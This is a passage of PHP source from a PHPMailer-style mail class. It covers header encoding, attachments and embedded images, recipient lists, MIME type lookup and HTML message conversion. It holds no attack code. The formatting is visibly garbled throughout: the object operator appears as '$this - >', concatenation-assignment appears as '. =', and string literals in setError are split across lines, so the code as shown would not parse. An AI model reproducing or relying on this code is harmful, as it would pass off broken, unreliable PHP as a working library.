  5368.  
  5369.             public
  5370.  
  5371.  
  5372.  
  5373.             function has8bitChars($text)
  5374.  
  5375.             {
  5376.  
  5377.                 return(boolean) preg_match('/[\x80-\xFF]/', $text);
  5378.  
  5379.             }
  5380.  
  5381.  
  5382.  
  5383.             public
  5384.  
  5385.  
  5386.  
  5387.             function base64EncodeWrapMB($str, $linebreak = null)
  5388.  
  5389.             {
  5390.  
  5391.                 $start = '=?'.$this - > CharSet.
  5392.  
  5393.                 '?B?';
  5394.  
  5395.                 $end = '?=';
  5396.  
  5397.                 $encoded = '';
  5398.  
  5399.                 if($linebreak === null)
  5400.  
  5401.                 {
  5402.  
  5403.                     $linebreak = $this - > LE;
  5404.  
  5405.                 }
  5406.  
  5407.                 $mb_length = mb_strlen($str, $this - > CharSet);
  5408.  
  5409.                 // Each line must have length <= 75, including $start and $end
  5410.  
  5411.                 $length = 75 - strlen($start) - strlen($end);
  5412.  
  5413.                 // Average multi-byte ratio
  5414.  
  5415.                 $ratio = $mb_length / strlen($str);
  5416.  
  5417.                 // Base64 has a 4:3 ratio
  5418.  
  5419.                 $avgLength = floor($length * $ratio * .75);
  5420.  
  5421.                 for($i = 0; $i < $mb_length; $i += $offset)
  5422.  
  5423.                 {
  5424.  
  5425.                     $lookBack = 0;
  5426.  
  5427.                     do {
  5428.  
  5429.                         $offset = $avgLength - $lookBack;
  5430.  
  5431.                         $chunk = mb_substr($str, $i, $offset, $this - > CharSet);
  5432.  
  5433.                         $chunk = base64_encode($chunk);
  5434.  
  5435.                         $lookBack++;
  5436.  
  5437.                     } while (strlen($chunk) > $length);
  5438.  
  5439.                     $encoded. = $chunk.$linebreak;
  5440.  
  5441.                 }
  5442.  
  5443.                 // Chomp the last linefeed
  5444.  
  5445.                 $encoded = substr($encoded, 0, -strlen($linebreak));
  5446.  
  5447.                 return $encoded;
  5448.  
  5449.             }
  5450.  
  5451.  
  5452.  
  5453.             public
  5454.  
  5455.  
  5456.  
  5457.             function encodeQP($string, $line_max = 76)
  5458.  
  5459.             {
  5460.  
  5461.                 if(function_exists('quoted_printable_encode'))
  5462.  
  5463.                 { // Use native function if it's available (>= PHP5.3)
  5464.  
  5465.                     return $this - > fixEOL(quoted_printable_encode($string));
  5466.  
  5467.                 }
  5468.  
  5469.                 // Fall back to a pure PHP implementation
  5470.  
  5471.                 $string = str_replace(
  5472.  
  5473.                     array('%20', '%0D%0A.', '%0D%0A', '%'),
  5474.  
  5475.                     array(' ', "\r\n=2E", "\r\n", '='),
  5476.  
  5477.                     rawurlencode($string)
  5478.  
  5479.                 );
  5480.  
  5481.                 $string = preg_replace('/[^\r\n]{'.($line_max - 3).
  5482.  
  5483.                     '}[^=\r\n]{2}/', "$0=\r\n", $string);
  5484.  
  5485.                 return $this - > fixEOL($string);
  5486.  
  5487.             }
  5488.  
  5489.  
  5490.  
  5491.             public
  5492.  
  5493.  
  5494.  
  5495.             function encodeQPphp(
  5496.  
  5497.                 $string,
  5498.  
  5499.                 $line_max = 76,
  5500.  
  5501.                 /** @noinspection PhpUnusedParameterInspection */
  5502.  
  5503.                 $space_conv = false
  5504.  
  5505.             )
  5506.  
  5507.             {
  5508.  
  5509.                 return $this - > encodeQP($string, $line_max);
  5510.  
  5511.             }
  5512.  
  5513.  
  5514.  
  5515.             public
  5516.  
  5517.  
  5518.  
  5519.             function encodeQ($str, $position = 'text')
  5520.  
  5521.             {
  5522.  
  5523.                 // There should not be any EOL in the string
  5524.  
  5525.                 $pattern = '';
  5526.  
  5527.                 $encoded = str_replace(array("\r", "\n"), '', $str);
  5528.  
  5529.                 switch(strtolower($position))
  5530.  
  5531.                 {
  5532.  
  5533.                     case 'phrase':
  5534.  
  5535.                         // RFC 2047 section 5.3
  5536.  
  5537.                         $pattern = '^A-Za-z0-9!*+\/ -';
  5538.  
  5539.                         break;
  5540.  
  5541.                         /** @noinspection PhpMissingBreakStatementInspection */
  5542.  
  5543.                     case 'comment':
  5544.  
  5545.                         // RFC 2047 section 5.2
  5546.  
  5547.                         $pattern = '\(\)"';
  5548.  
  5549.                     case 'text':
  5550.  
  5551.                     default:
  5552.  
  5553.                         $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377'.$pattern;
  5554.  
  5555.                         break;
  5556.  
  5557.                 }
  5558.  
  5559.                 $matches = array();
  5560.  
  5561.                 if(preg_match_all("/[{$pattern}]/", $encoded, $matches))
  5562.  
  5563.                 {
  5564.  
  5565.                     $eqkey = array_search('=', $matches[0]);
  5566.  
  5567.                     if(false !== $eqkey)
  5568.  
  5569.                     {
  5570.  
  5571.                         unset($matches[0][$eqkey]);
  5572.  
  5573.                         array_unshift($matches[0], '=');
  5574.  
  5575.                     }
  5576.  
  5577.                     foreach(array_unique($matches[0]) as $char)
  5578.  
  5579.                     {
  5580.  
  5581.                         $encoded = str_replace($char, '='.sprintf('%02X', ord($char)), $encoded);
  5582.  
  5583.                     }
  5584.  
  5585.                 }
  5586.  
  5587.                 // Replace every spaces to _ (more readable than =20)
  5588.  
  5589.                 return str_replace(' ', '_', $encoded);
  5590.  
  5591.             }
  5592.  
  5593.  
  5594.  
  5595.             public
  5596.  
  5597.  
  5598.  
  5599.             function addStringAttachment(
  5600.  
  5601.                 $string,
  5602.  
  5603.                 $filename,
  5604.  
  5605.                 $encoding = 'base64',
  5606.  
  5607.                 $type = '',
  5608.  
  5609.                 $disposition = 'attachment'
  5610.  
  5611.             )
  5612.  
  5613.             {
  5614.  
  5615.                 // If a MIME type is not specified, try to work it out from the file name
  5616.  
  5617.                 if($type == '')
  5618.  
  5619.                 {
  5620.  
  5621.                     $type = self::filenameToType($filename);
  5622.  
  5623.                 }
  5624.  
  5625.                 // Append to $attachment array
  5626.  
  5627.                 $this - > attachment[] = array(
  5628.  
  5629.                     0 => $string,
  5630.  
  5631.                     1 => $filename,
  5632.  
  5633.                     2 => basename($filename),
  5634.  
  5635.                     3 => $encoding,
  5636.  
  5637.                     4 => $type,
  5638.  
  5639.                     5 => true, // isStringAttachment
  5640.  
  5641.                     6 => $disposition,
  5642.  
  5643.                     7 => 0
  5644.  
  5645.                 );
  5646.  
  5647.             }
  5648.  
  5649.             public
  5650.  
  5651.  
  5652.  
  5653.             function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  5654.  
  5655.             {
  5656.  
  5657.                 if(!@is_file($path))
  5658.  
  5659.                 {
  5660.  
  5661.                     $this - > setError($this - > lang('file_access').$path);
  5662.  
  5663.                     return false;
  5664.  
  5665.                 }
  5666.  
  5667.                 // If a MIME type is not specified, try to work it out from the file name
  5668.  
  5669.                 if($type == '')
  5670.  
  5671.                 {
  5672.  
  5673.                     $type = self::filenameToType($path);
  5674.  
  5675.                 }
  5676.  
  5677.                 $filename = basename($path);
  5678.  
  5679.                 if($name == '')
  5680.  
  5681.                 {
  5682.  
  5683.                     $name = $filename;
  5684.  
  5685.                 }
  5686.  
  5687.                 // Append to $attachment array
  5688.  
  5689.                 $this - > attachment[] = array(
  5690.  
  5691.                     0 => $path,
  5692.  
  5693.                     1 => $filename,
  5694.  
  5695.                     2 => $name,
  5696.  
  5697.                     3 => $encoding,
  5698.  
  5699.                     4 => $type,
  5700.  
  5701.                     5 => false, // isStringAttachment
  5702.  
  5703.                     6 => $disposition,
  5704.  
  5705.                     7 => $cid
  5706.  
  5707.                 );
  5708.  
  5709.                 return true;
  5710.  
  5711.             }
  5712.  
  5713.  
  5714.  
  5715.             public
  5716.  
  5717.  
  5718.  
  5719.             function addStringEmbeddedImage(
  5720.  
  5721.                 $string,
  5722.  
  5723.                 $cid,
  5724.  
  5725.                 $name = '',
  5726.  
  5727.                 $encoding = 'base64',
  5728.  
  5729.                 $type = '',
  5730.  
  5731.                 $disposition = 'inline'
  5732.  
  5733.             )
  5734.  
  5735.             {
  5736.  
  5737.                 // If a MIME type is not specified, try to work it out from the name
  5738.  
  5739.                 if($type == '')
  5740.  
  5741.                 {
  5742.  
  5743.                     $type = self::filenameToType($name);
  5744.  
  5745.                 }
  5746.  
  5747.                 // Append to $attachment array
  5748.  
  5749.                 $this - > attachment[] = array(
  5750.  
  5751.                     0 => $string,
  5752.  
  5753.                     1 => $name,
  5754.  
  5755.                     2 => $name,
  5756.  
  5757.                     3 => $encoding,
  5758.  
  5759.                     4 => $type,
  5760.  
  5761.                     5 => true, // isStringAttachment
  5762.  
  5763.                     6 => $disposition,
  5764.  
  5765.                     7 => $cid
  5766.  
  5767.                 );
  5768.  
  5769.                 return true;
  5770.  
  5771.             }
  5772.  
  5773.             public
  5774.  
  5775.  
  5776.  
  5777.             function inlineImageExists()
  5778.  
  5779.             {
  5780.  
  5781.                 foreach($this - > attachment as $attachment)
  5782.  
  5783.                 {
  5784.  
  5785.                     if($attachment[6] == 'inline')
  5786.  
  5787.                     {
  5788.  
  5789.                         return true;
  5790.  
  5791.                     }
  5792.  
  5793.                 }
  5794.  
  5795.                 return false;
  5796.  
  5797.             }
  5798.  
  5799.             public
  5800.  
  5801.  
  5802.  
  5803.             function attachmentExists()
  5804.  
  5805.             {
  5806.  
  5807.                 foreach($this - > attachment as $attachment)
  5808.  
  5809.                 {
  5810.  
  5811.                     if($attachment[6] == 'attachment')
  5812.  
  5813.                     {
  5814.  
  5815.                         return true;
  5816.  
  5817.                     }
  5818.  
  5819.                 }
  5820.  
  5821.                 return false;
  5822.  
  5823.             }
  5824.  
  5825.             public
  5826.  
  5827.  
  5828.  
  5829.             function alternativeExists()
  5830.  
  5831.             {
  5832.  
  5833.                 return !empty($this - > AltBody);
  5834.  
  5835.             }
  5836.  
  5837.             public
  5838.  
  5839.  
  5840.  
  5841.             function clearAddresses()
  5842.  
  5843.             {
  5844.  
  5845.                 foreach($this - > to as $to)
  5846.  
  5847.                 {
  5848.  
  5849.                     unset($this - > all_recipients[strtolower($to[0])]);
  5850.  
  5851.                 }
  5852.  
  5853.                 $this - > to = array();
  5854.  
  5855.             }
  5856.  
  5857.             public
  5858.  
  5859.  
  5860.  
  5861.             function clearCCs()
  5862.  
  5863.             {
  5864.  
  5865.                 foreach($this - > cc as $cc)
  5866.  
  5867.                 {
  5868.  
  5869.                     unset($this - > all_recipients[strtolower($cc[0])]);
  5870.  
  5871.                 }
  5872.  
  5873.                 $this - > cc = array();
  5874.  
  5875.             }
  5876.  
  5877.             public
  5878.  
  5879.  
  5880.  
  5881.             function clearBCCs()
  5882.  
  5883.             {
  5884.  
  5885.                 foreach($this - > bcc as $bcc)
  5886.  
  5887.                 {
  5888.  
  5889.                     unset($this - > all_recipients[strtolower($bcc[0])]);
  5890.  
  5891.                 }
  5892.  
  5893.                 $this - > bcc = array();
  5894.  
  5895.             }
  5896.  
  5897.             public
  5898.  
  5899.  
  5900.  
  5901.             function clearReplyTos()
  5902.  
  5903.             {
  5904.  
  5905.                 $this - > ReplyTo = array();
  5906.  
  5907.             }
  5908.  
  5909.  
  5910.  
  5911.             public
  5912.  
  5913.  
  5914.  
  5915.             function clearAllRecipients()
  5916.  
  5917.             {
  5918.  
  5919.                 $this - > to = array();
  5920.  
  5921.                 $this - > cc = array();
  5922.  
  5923.                 $this - > bcc = array();
  5924.  
  5925.                 $this - > all_recipients = array();
  5926.  
  5927.             }
  5928.  
  5929.             public
  5930.  
  5931.  
  5932.  
  5933.             function clearAttachments()
  5934.  
  5935.             {
  5936.  
  5937.                 $this - > attachment = array();
  5938.  
  5939.             }
  5940.  
  5941.             public
  5942.  
  5943.  
  5944.  
  5945.             function clearCustomHeaders()
  5946.  
  5947.             {
  5948.  
  5949.                 $this - > CustomHeader = array();
  5950.  
  5951.             }
  5952.  
  5953.             protected
  5954.  
  5955.  
  5956.  
  5957.             function setError($msg)
  5958.  
  5959.             {
  5960.  
  5961.                 $this - > error_count++;
  5962.  
  5963.                 if($this - > Mailer == 'smtp'
  5964.  
  5965.                     and!is_null($this - > smtp))
  5966.  
  5967.                 {
  5968.  
  5969.                     $lasterror = $this - > smtp - > getError();
  5970.  
  5971.                     if(!empty($lasterror) and array_key_exists('smtp_msg', $lasterror))
  5972.  
  5973.                     {
  5974.  
  5975.                         $msg. = '
  5976.  
  5977.                         ' . $this->lang('
  5978.  
  5979.                         smtp_error ') . $lasterror['
  5980.  
  5981.                         smtp_msg '] . "
  5982.  
  5983.  
  5984.  
  5985.                         \
  5986.                         n ";
  5987.  
  5988.                     }
  5989.  
  5990.                 }
  5991.  
  5992.                 $this - > ErrorInfo = $msg;
  5993.  
  5994.             }
  5995.  
  5996.             public static
  5997.  
  5998.  
  5999.  
  6000.             function rfcDate()
  6001.  
  6002.             {
  6003.  
  6004.                 // Set the time zone to whatever the default is to avoid 500 errors
  6005.  
  6006.                 // Will default to UTC if it's not set properly in php.ini
  6007.  
  6008.                 date_default_timezone_set(@date_default_timezone_get());
  6009.  
  6010.                 return date('D, j M Y H:i:s O');
  6011.  
  6012.             }
  6013.  
  6014.             protected
  6015.  
  6016.  
  6017.  
  6018.             function serverHostname()
  6019.  
  6020.             {
  6021.  
  6022.                 $result = 'localhost.localdomain';
  6023.  
  6024.                 if(!empty($this - > Hostname))
  6025.  
  6026.                 {
  6027.  
  6028.                     $result = $this - > Hostname;
  6029.  
  6030.                 }
  6031.  
  6032.                 elseif(isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and!empty($_SERVER['SERVER_NAME']))
  6033.  
  6034.                 {
  6035.  
  6036.                     $result = $_SERVER['SERVER_NAME'];
  6037.  
  6038.                 }
  6039.  
  6040.                 elseif(function_exists('gethostname') && gethostname() !== false)
  6041.  
  6042.                 {
  6043.  
  6044.                     $result = gethostname();
  6045.  
  6046.                 }
  6047.  
  6048.                 elseif(php_uname('n') !== false)
  6049.  
  6050.                 {
  6051.  
  6052.                     $result = php_uname('n');
  6053.  
  6054.                 }
  6055.  
  6056.                 return $result;
  6057.  
  6058.             }
  6059.  
  6060.             protected
  6061.  
  6062.  
  6063.  
  6064.             function lang($key)
  6065.  
  6066.             {
  6067.  
  6068.                 if(count($this - > language) < 1)
  6069.  
  6070.                 {
  6071.  
  6072.                     $this - > setLanguage('en'); // set the default language
  6073.  
  6074.                 }
  6075.  
  6076.                 if(isset($this - > language[$key]))
  6077.  
  6078.                 {
  6079.  
  6080.                     return $this - > language[$key];
  6081.  
  6082.                 }
  6083.  
  6084.                 else
  6085.  
  6086.                 {
  6087.  
  6088.                     return 'Language string failed to load: '.$key;
  6089.  
  6090.                 }
  6091.  
  6092.             }
  6093.  
  6094.             public
  6095.  
  6096.  
  6097.  
  6098.             function isError()
  6099.  
  6100.             {
  6101.  
  6102.                 return($this - > error_count > 0);
  6103.  
  6104.             }
  6105.  
  6106.             public
  6107.  
  6108.  
  6109.  
  6110.             function fixEOL($str)
  6111.  
  6112.             {
  6113.  
  6114.                 // Normalise to \n
  6115.  
  6116.                 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  6117.  
  6118.                 // Now convert LE as needed
  6119.  
  6120.                 if($this - > LE !== "\n")
  6121.  
  6122.                 {
  6123.  
  6124.                     $nstr = str_replace("\n", $this - > LE, $nstr);
  6125.  
  6126.                 }
  6127.  
  6128.                 return $nstr;
  6129.  
  6130.             }
  6131.  
  6132.  
  6133.  
  6134.             public
  6135.  
  6136.  
  6137.  
  6138.             function addCustomHeader($name, $value = null)
  6139.  
  6140.             {
  6141.  
  6142.                 if($value === null)
  6143.  
  6144.                 {
  6145.  
  6146.                     // Value passed in as name:value
  6147.  
  6148.                     $this - > CustomHeader[] = explode(':', $name, 2);
  6149.  
  6150.                 }
  6151.  
  6152.                 else
  6153.  
  6154.                 {
  6155.  
  6156.                     $this - > CustomHeader[] = array($name, $value);
  6157.  
  6158.                 }
  6159.  
  6160.             }
  6161.  
  6162.             public
  6163.  
  6164.  
  6165.  
  6166.             function msgHTML($message, $basedir = '', $advanced = false)
  6167.  
  6168.             {
  6169.  
  6170.                 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  6171.  
  6172.                 if(isset($images[2]))
  6173.  
  6174.                 {
  6175.  
  6176.                     foreach($images[2] as $imgindex => $url)
  6177.  
  6178.                     {
  6179.  
  6180.                         // Convert data URIs into embedded images
  6181.  
  6182.                         if(preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match))
  6183.  
  6184.                         {
  6185.  
  6186.                             $data = substr($url, strpos($url, ','));
  6187.  
  6188.                             if($match[2])
  6189.  
  6190.                             {
  6191.  
  6192.                                 $data = base64_decode($data);
  6193.  
  6194.                             }
  6195.  
  6196.                             else
  6197.  
  6198.                             {
  6199.  
  6200.                                 $data = rawurldecode($data);
  6201.  
  6202.                             }
  6203.  
  6204.                             $cid = md5($url).
  6205.  
  6206.                             '@phpmailer.0'; // RFC2392 S 2
  6207.  
  6208.                             if($this - > addStringEmbeddedImage($data, $cid, '', 'base64', $match[1]))
  6209.  
  6210.                             {
  6211.  
  6212.                                 $message = str_replace(
  6213.  
  6214.                                     $images[0][$imgindex],
  6215.  
  6216.                                     $images[1][$imgindex].
  6217.  
  6218.                                     '="cid:'.$cid.
  6219.  
  6220.                                     '"',
  6221.  
  6222.                                     $message
  6223.  
  6224.                                 );
  6225.  
  6226.                             }
  6227.  
  6228.                         }
  6229.  
  6230.                         elseif(!preg_match('#^[A-z]+://#', $url))
  6231.  
  6232.                         {
  6233.  
  6234.                             // Do not change urls for absolute images (thanks to corvuscorax)
  6235.  
  6236.                             $filename = basename($url);
  6237.  
  6238.                             $directory = dirname($url);
  6239.  
  6240.                             if($directory == '.')
  6241.  
  6242.                             {
  6243.  
  6244.                                 $directory = '';
  6245.  
  6246.                             }
  6247.  
  6248.                             $cid = md5($url).
  6249.  
  6250.                             '@phpmailer.0'; // RFC2392 S 2
  6251.  
  6252.                             if(strlen($basedir) > 1 && substr($basedir, -1) != '/')
  6253.  
  6254.                             {
  6255.  
  6256.                                 $basedir. = '/';
  6257.  
  6258.                             }
  6259.  
  6260.                             if(strlen($directory) > 1 && substr($directory, -1) != '/')
  6261.  
  6262.                             {
  6263.  
  6264.                                 $directory. = '/';
  6265.  
  6266.                             }
  6267.  
  6268.                             if($this - > addEmbeddedImage(
  6269.  
  6270.                                     $basedir.$directory.$filename,
  6271.  
  6272.                                     $cid,
  6273.  
  6274.                                     $filename,
  6275.  
  6276.                                     'base64',
  6277.  
  6278.                                     self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  6279.  
  6280.                                 ))
  6281.  
  6282.                             {
  6283.  
  6284.                                 $message = preg_replace(
  6285.  
  6286.                                     '/'.$images[1][$imgindex].
  6287.  
  6288.                                     '=["\']'.preg_quote($url, '/').
  6289.  
  6290.                                     '["\']/Ui',
  6291.  
  6292.                                     $images[1][$imgindex].
  6293.  
  6294.                                     '="cid:'.$cid.
  6295.  
  6296.                                     '"',
  6297.  
  6298.                                     $message
  6299.  
  6300.                                 );
  6301.  
  6302.                             }
  6303.  
  6304.                         }
  6305.  
  6306.                     }
  6307.  
  6308.                 }
  6309.  
  6310.                 $this - > isHTML(true);
  6311.  
  6312.                 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  6313.  
  6314.                 $this - > Body = $this - > normalizeBreaks($message);
  6315.  
  6316.                 $this - > AltBody = $this - > normalizeBreaks($this - > html2text($message, $advanced));
  6317.  
  6318.                 if(empty($this - > AltBody))
  6319.  
  6320.                 {
  6321.  
  6322.                     $this - > AltBody = 'To view this email message, open it in a program that understands HTML!'.
  6323.  
  6324.                     self::CRLF.self::CRLF;
  6325.  
  6326.                 }
  6327.  
  6328.                 return $this - > Body;
  6329.  
  6330.             }
  6331.  
  6332.  
  6333.  
  6334.             public
  6335.  
  6336.  
  6337.  
  6338.             function html2text($html, $advanced = false)
  6339.  
  6340.             {
  6341.  
  6342.                 if(is_callable($advanced))
  6343.  
  6344.                 {
  6345.  
  6346.                     return call_user_func($advanced, $html);
  6347.  
  6348.                 }
  6349.  
  6350.                 return html_entity_decode(
  6351.  
  6352.                     trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  6353.  
  6354.                     ENT_QUOTES,
  6355.  
  6356.                     $this - > CharSet
  6357.  
  6358.                 );
  6359.  
  6360.             }
  6361.  
  6362.  
  6363.  
  6364.             public static
  6365.  
  6366.  
  6367.  
  6368.             function _mime_types($ext = '')
  6369.  
  6370.             {
  6371.  
  6372.                 $mimes = array(
  6373.  
  6374.                     'xl' => 'application/excel',
  6375.  
  6376.                     'js' => 'application/javascript',
  6377.  
  6378.                     'hqx' => 'application/mac-binhex40',
  6379.  
  6380.                     'cpt' => 'application/mac-compactpro',
  6381.  
  6382.                     'bin' => 'application/macbinary',
  6383.  
  6384.                     'doc' => 'application/msword',
  6385.  
  6386.                     'word' => 'application/msword',
  6387.  
  6388.                     'class' => 'application/octet-stream',
  6389.  
  6390.                     'dll' => 'application/octet-stream',
  6391.  
  6392.                     'dms' => 'application/octet-stream',
  6393.  
  6394.                     'exe' => 'application/octet-stream',
  6395.  
  6396.                     'lha' => 'application/octet-stream',
  6397.  
  6398.                     'lzh' => 'application/octet-stream',
  6399.  
  6400.                     'psd' => 'application/octet-stream',
  6401.  
  6402.                     'sea' => 'application/octet-stream',
  6403.  
  6404.                     'so' => 'application/octet-stream',
  6405.  
  6406.                     'oda' => 'application/oda',
  6407.  
  6408.                     'pdf' => 'application/pdf',
  6409.  
  6410.                     'ai' => 'application/postscript',
  6411.  
  6412.                     'eps' => 'application/postscript',
  6413.  
  6414.                     'ps' => 'application/postscript',
  6415.  
  6416.                     'smi' => 'application/smil',
  6417.  
  6418.                     'smil' => 'application/smil',
  6419.  
  6420.                     'mif' => 'application/vnd.mif',
  6421.  
  6422.                     'xls' => 'application/vnd.ms-excel',
  6423.  
  6424.                     'ppt' => 'application/vnd.ms-powerpoint',
  6425.  
  6426.                     'wbxml' => 'application/vnd.wap.wbxml',
  6427.  
  6428.                     'wmlc' => 'application/vnd.wap.wmlc',
  6429.  
  6430.                     'dcr' => 'application/x-director',
  6431.  
  6432.                     'dir' => 'application/x-director',
  6433.  
  6434.                     'dxr' => 'application/x-director',
  6435.  
  6436.                     'dvi' => 'application/x-dvi',
  6437.  
  6438.                     'gtar' => 'application/x-gtar',
  6439.  
  6440.                     'php3' => 'application/x-httpd-php',
  6441.  
  6442.                     'php4' => 'application/x-httpd-php',
  6443.  
  6444.                     'php' => 'application/x-httpd-php',
  6445.  
  6446.                     'phtml' => 'application/x-httpd-php',
  6447.  
  6448.                     'phps' => 'application/x-httpd-php-source',
  6449.  
  6450.                     'swf' => 'application/x-shockwave-flash',
  6451.  
  6452.                     'sit' => 'application/x-stuffit',
  6453.  
  6454.                     'tar' => 'application/x-tar',
  6455.  
  6456.                     'tgz' => 'application/x-tar',
  6457.  
  6458.                     'xht' => 'application/xhtml+xml',
  6459.  
  6460.                     'xhtml' => 'application/xhtml+xml',
  6461.  
  6462.                     'zip' => 'application/zip',
  6463.  
  6464.                     'mid' => 'audio/midi',
  6465.  
  6466.                     'midi' => 'audio/midi',
  6467.  
  6468.                     'mp2' => 'audio/mpeg',
  6469.  
  6470.                     'mp3' => 'audio/mpeg',
  6471.  
  6472.                     'mpga' => 'audio/mpeg',
  6473.  
  6474.                     'aif' => 'audio/x-aiff',
  6475.  
  6476.                     'aifc' => 'audio/x-aiff',
  6477.  
  6478.                     'aiff' => 'audio/x-aiff',
  6479.  
  6480.                     'ram' => 'audio/x-pn-realaudio',
  6481.  
  6482.                     'rm' => 'audio/x-pn-realaudio',
  6483.  
  6484.                     'rpm' => 'audio/x-pn-realaudio-plugin',
  6485.  
  6486.                     'ra' => 'audio/x-realaudio',
  6487.  
  6488.                     'wav' => 'audio/x-wav',
  6489.  
  6490.                     'bmp' => 'image/bmp',
  6491.  
  6492.                     'gif' => 'image/gif',
  6493.  
  6494.                     'jpeg' => 'image/jpeg',
  6495.  
  6496.                     'jpe' => 'image/jpeg',
  6497.  
  6498.                     'jpg' => 'image/jpeg',
  6499.  
  6500.                     'png' => 'image/png',
  6501.  
  6502.                     'tiff' => 'image/tiff',
  6503.  
  6504.                     'tif' => 'image/tiff',
  6505.  
  6506.                     'eml' => 'message/rfc822',
  6507.  
  6508.                     'css' => 'text/css',
  6509.  
  6510.                     'html' => 'text/html',
  6511.  
  6512.                     'htm' => 'text/html',
  6513.  
  6514.                     'shtml' => 'text/html',
  6515.  
  6516.                     'log' => 'text/plain',
  6517.  
  6518.                     'text' => 'text/plain',
  6519.  
  6520.                     'txt' => 'text/plain',
  6521.  
  6522.                     'rtx' => 'text/richtext',
  6523.  
  6524.                     'rtf' => 'text/rtf',
  6525.  
  6526.                     'vcf' => 'text/vcard',
  6527.  
  6528.                     'vcard' => 'text/vcard',
  6529.  
  6530.                     'xml' => 'text/xml',
  6531.  
  6532.                     'xsl' => 'text/xml',
  6533.  
  6534.                     'mpeg' => 'video/mpeg',
  6535.  
  6536.                     'mpe' => 'video/mpeg',
  6537.  
  6538.                     'mpg' => 'video/mpeg',
  6539.  
  6540.                     'mov' => 'video/quicktime',
  6541.  
  6542.                     'qt' => 'video/quicktime',
  6543.  
  6544.                     'rv' => 'video/vnd.rn-realvideo',
  6545.  
  6546.                     'avi' => 'video/x-msvideo',
  6547.  
  6548.                     'movie' => 'video/x-sgi-movie'
  6549.  
  6550.                 );
  6551.  
  6552.                 return(array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)] : 'application/octet-stream');
  6553.  
  6554.             }
  6555.  
  6556.  
  6557.  
  6558.             public static
  6559.  
  6560.  
  6561.  
  6562.             function filenameToType($filename)
  6563.  
  6564.             {
  6565.  
  6566.                 // In case the path is a URL, strip any query string before getting extension
  6567.  
  6568.                 $qpos = strpos($filename, '?');
  6569.  
  6570.                 if(false !== $qpos)
  6571.  
  6572.                 {
  6573.  
  6574.                     $filename = substr($filename, 0, $qpos);
  6575.  
  6576.                 }
  6577.  
  6578.                 $pathinfo = self::mb_pathinfo($filename);
  6579.  
  6580.                 return self::_mime_types($pathinfo['extension']);
  6581.  
  6582.             }
  6583.  
  6584.  
  6585.  
  6586.             public static
  6587.  
  6588.  
  6589.  
  6590.             function mb_pathinfo($path, $options = null)
  6591.  
  6592.             {
  6593.  
  6594.                 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  6595.  
  6596.                 $pathinfo = array();
  6597.  
  6598.                 if(preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo))
  6599.  
  6600.                 {
  6601.  
  6602.                     if(array_key_exists(1, $pathinfo))
  6603.  
  6604.                     {
  6605.  
  6606.                         $ret['dirname'] = $pathinfo[1];
  6607.  
  6608.                     }
  6609.  
  6610.                     if(array_key_exists(2, $pathinfo))
  6611.  
  6612.                     {
  6613.  
  6614.                         $ret['basename'] = $pathinfo[2];
  6615.  
  6616.                     }
  6617.  
  6618.                     if(array_key_exists(5, $pathinfo))
  6619.  
  6620.                     {
  6621.  
  6622.                         $ret['extension'] = $pathinfo[5];
  6623.  
  6624.                     }
  6625.  
  6626.                     if(array_key_exists(3, $pathinfo))
  6627.  
  6628.                     {
  6629.  
  6630.                         $ret['filename'] = $pathinfo[3];
  6631.  
  6632.                     }
  6633.  
  6634.                 }
  6635.  
  6636.                 switch($options)
  6637.  
  6638.                 {
  6639.  
  6640.                     case PATHINFO_DIRNAME:
  6641.  
  6642.                     case 'dirname':
  6643.  
  6644.                         return $ret['dirname'];
  6645.  
  6646.                     case PATHINFO_BASENAME:
  6647.  
  6648.                     case 'basename':
  6649.  
  6650.                         return $ret['basename'];
  6651.  
  6652.                     case PATHINFO_EXTENSION:
  6653.  
  6654.                     case 'extension':
  6655.  
  6656.                         return $ret['extension'];
  6657.  
  6658.                     case PATHINFO_FILENAME:
  6659.  
  6660.                     case 'filename':
  6661.  
  6662.                         return $ret['filename'];
  6663.  
  6664.                     default:
  6665.  
  6666.                         return $ret;
  6667.  
  6668.                 }
  6669.  
  6670.             }
  6671.  
  6672.             public
  6673.  
  6674.  
  6675.  
  6676.             function set($name, $value = '')
  6677.  
  6678.             {
  6679.  
  6680.                 try
  6681.  
  6682.                 {
  6683.  
  6684.                     if(isset($this - > $name))
  6685.  
  6686.                     {
  6687.  
  6688.                         $this - > $name = $value;
  6689.  
  6690.                     }
  6691.  
  6692.                     else
  6693.  
  6694.                     {
  6695.  
  6696.                         throw new phpmailerException($this - > lang('variable_set').$name, self::STOP_CRITICAL);
  6697.  
  6698.                     }
  6699.  
  6700.                 }
  6701.  
  6702.                 catch(Exception $exc)
  6703.  
  6704.                 {
  6705.  
  6706.                     $this - > setError($exc - > getMessage());
  6707.  
  6708.                     if($exc - > getCode() == self::STOP_CRITICAL)
  6709.  
  6710.                     {
  6711.  
  6712.                         return false;
  6713.  
  6714.                     }
  6715.  
  6716.                 }
  6717.  
  6718.                 return true;
  6719.  
  6720.             }
  6721.  
  6722.  
  6723.  
  6724.             public
  6725.  
  6726.  
  6727.  
  6728.             function secureHeader($str)
  6729.  
  6730.             {
  6731.  
  6732.                 return trim(str_replace(array("\r", "\n"), '', $str));
  6733.  
  6734.             }
  6735.  
  6736.             public static
  6737.  
  6738.  
  6739.  
  6740.             function normalizeBreaks($text, $breaktype = "\r\n")
  6741.  
  6742.             {
  6743.  
  6744.                 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  6745.  
  6746.             }
  6747.  
  6748.  
  6749.  
  6750.             public
  6751.  
  6752.  
  6753.  
  6754.             function sign($cert_filename, $key_filename, $key_pass)
  6755.  
  6756.             {
  6757.  
  6758.                 $this - > sign_cert_file = $cert_filename;
  6759.  
